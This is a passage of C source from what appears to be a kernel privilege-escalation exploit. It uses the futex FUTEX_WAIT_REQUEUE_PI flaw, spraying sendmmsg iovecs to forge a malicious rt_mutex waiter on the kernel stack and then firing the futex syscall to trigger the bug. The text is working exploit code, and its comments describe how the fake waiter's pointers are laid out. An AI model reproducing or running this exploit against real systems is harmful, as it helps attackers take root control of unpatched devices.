msg_iov[i].iov_base = (void *)hacked_node;
msg_iov[i].iov_len = 0x80;
}
//msg_iov[IOVSTACK_TARGET] will be our new waiter.
// iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.
msg_iov[config_iovstack].iov_base = (void *)hacked_node;
msg_iov[config_iovstack].iov_len = hacked_node_alt;
// The new waiter will be something like that:
// prio = hacket_node
// prio_list->next = hacked_node_alt
// prio_list->prev = hacket_node
// node_list->next = 0x7d
// node_list->prev = hacked_node
// hacked_node will be somethin < 0 so a negative priority
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = 0x80;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = 8;
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = 0x20;
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
sockfd = make_socket();
if (sockfd == 0) {
return NULL;
}
LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");
// Lets wait on lock1 to be requeued
syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);
// Ok, at this point the vulnerability shoud be triggered.